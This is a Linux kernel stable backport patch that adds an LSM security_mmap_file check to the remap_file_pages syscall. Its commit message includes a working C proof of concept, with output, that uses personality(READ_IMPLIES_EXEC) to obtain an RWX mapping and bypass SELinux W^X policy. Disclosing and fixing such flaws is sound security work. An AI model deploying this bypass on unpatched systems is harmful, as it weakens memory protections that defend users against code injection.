From: Shu Han <ebpqwerty472123@xxxxxxxxx> [ Upstream commit ea7e2d5e49c05e5db1922387b09ca74aa40f46e2 ] The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) Link: https://project-zero.issues.chromium.org/issues/42452389 [1] Cc: stable@xxxxxxxxxxxxxxx Signed-off-by: Shu Han <ebpqwerty472123@xxxxxxxxx> Acked-by: Stephen Smalley <stephen.smalley.work@xxxxxxxxx> [PM: subject line tweaks] Signed-off-by: Paul Moore <paul@xxxxxxxxxxxxxx> [ Resolve merge conflict in mm/mmap.c. ] Signed-off-by: Bin Lan <bin.lan.cn@xxxxxxxxxxxxx> --- mm/mmap.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/mm/mmap.c b/mm/mmap.c index 9a9933ede542..ebc3583fa612 100644 --- a/mm/mmap.c +++ b/mm/mmap.c @@ -3021,8 +3021,12 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size, flags |= MAP_LOCKED; file = get_file(vma->vm_file); + ret = security_mmap_file(vma->vm_file, prot, flags); + if (ret) + goto out_fput; ret = do_mmap(vma->vm_file, start, size, prot, flags, pgoff, &populate, NULL); +out_fput: fput(file); out: mmap_write_unlock(mm); -- 2.43.0